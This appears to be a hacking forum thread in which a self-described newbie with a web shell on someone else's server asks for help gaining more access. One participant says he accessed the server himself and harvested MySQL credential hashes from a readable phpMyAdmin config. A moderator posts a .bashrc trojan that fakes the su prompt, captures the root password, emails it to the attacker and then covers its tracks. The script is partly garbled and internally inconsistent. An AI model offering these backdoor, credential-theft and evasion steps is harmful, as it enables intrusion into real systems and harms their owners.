Waraxe IT Security Portal

hottox · Regular user

Hi,
i've got a shell on a web server,
the probleme is that i can't chmod, and i can't find writeable folders || files,

spankyz · Beginner

if u put a backdoor u can access this in telnet and depends what port...

when ur logged in its easy to use an exploit...

YM me to test some of ur shells...

spankyz202000@ym

lenny · Valuable expert

I got hold of the IP of your vulnerable webserver (don't ask :p) and took a quick look around. As you are running as nobody, you have very little control over anything.

I did find one area of great interest though, the phpmyadmin config.inc.php is readable which contained the username and password (in plain text) of a read-only MySQL user (pma control user). Along with details from details from the hosts file and the httpd.conf file, I was able to find a domain on the server hosting phpMyAdmin.

With access to the PMA user (called "mysqlread" on this server If i recall correctly) I was able to read the phpMyAdmin (and MySQL too, I assume) login details for *every* user, including Root.

This is where I stopped however, because I couldn't be bothered to crack the MySQL (version 3) hash that would give me root access (And im not black hat, I refuse to dig any deeper because It would probably lead to big problems for the company involved.)

Also, If human nature rears its ugly head then the sysadmin is probably lazy. Lazy sysadmins usually use the same password for everything, so If you get ahold of the root password for MySQL then you probably have the root password for the entire server as well.

I won't tell you the passwords or where to look for the files - Its simple, find them yourself Smile

Any questions?

(edit, oh - and don't use the C99 shell - Its not exactly subtle and stands out like crazy. Its also a little script-kiddy-like, and you wouldn't want anybody thinking you were a script kiddie would you? Wink

)

hottox · Regular user

i said that i can't find writeable folders,

lenny · Valuable expert

No, you are running as nobody - you cant chown, chmod or chgrp files that you dont own. Try running this to find writable files Smile

hottox · Regular user

Thanks lenny, and i want you to know that i'm not black hate,
i'm looking for a writable folder where i can put a backdoor,
i used

lenny · Valuable expert

ok, try this:

capt · Advanced user

Many servers dont containg the /usr/local/phpmyadmin/ and its config plain as day. Got lucky Razz

hottox · Regular user

i uploaded a BACKDOOR but with no succes Crying or Very sad

I do not want passwords, all I want is to have a shell access "for the first time" Cool

please help

lenny · Valuable expert

But as I said, you are running as nobody - you have virtuall no permissions! Even if you get a shell, you are still right back in the same place you started, execpt with a terminal window to look at instead of the C99 shell.

You *need* to gain a few permissions before you can do anything interesting, and the best way to do that is to gain access to a few more accounts.

pexli · Valuable expert

Social engineering rockzzzzzzzzz. Laughing

lenny · Valuable expert

Indeed it does Smile

hottox · Regular user

as i said "i'm a newbie",so i'll do what you said.
thaaaaanks for help, Very Happy

ToXiC · Moderator

hmmm why dont you try something like this....

CAN be done only if you have access to .bashrc
You can receive the root password on your email in plain text . They only thing you need is user access to modify .bashrc

lets see the procedure step by step:

you first copy the .bashrc to .bashrc. so you can restore it and cover your tracks after you receive the password.

you then modify .bashrc as follows:

.bashrc
alias su=/var/tmp/text.log
echo "Password:";read pass
if [ $pass = "" ] > .es
echo "su: incorrect password"
echo $pass > /tmp/pass.log
mail yourmail@mail.com < /tmp/pass.log
rm /tmp/pass.log
then
rm .es
rm /var/tmp/test.log
cp ~/.bashrc. ~/.bashrc
rm ~/.bashrc.
su
fi
chmod +x /var/tmp/text.log

Smile

Social Engineering - Phishing

xF34Rx · Regular user

You gotta root the box.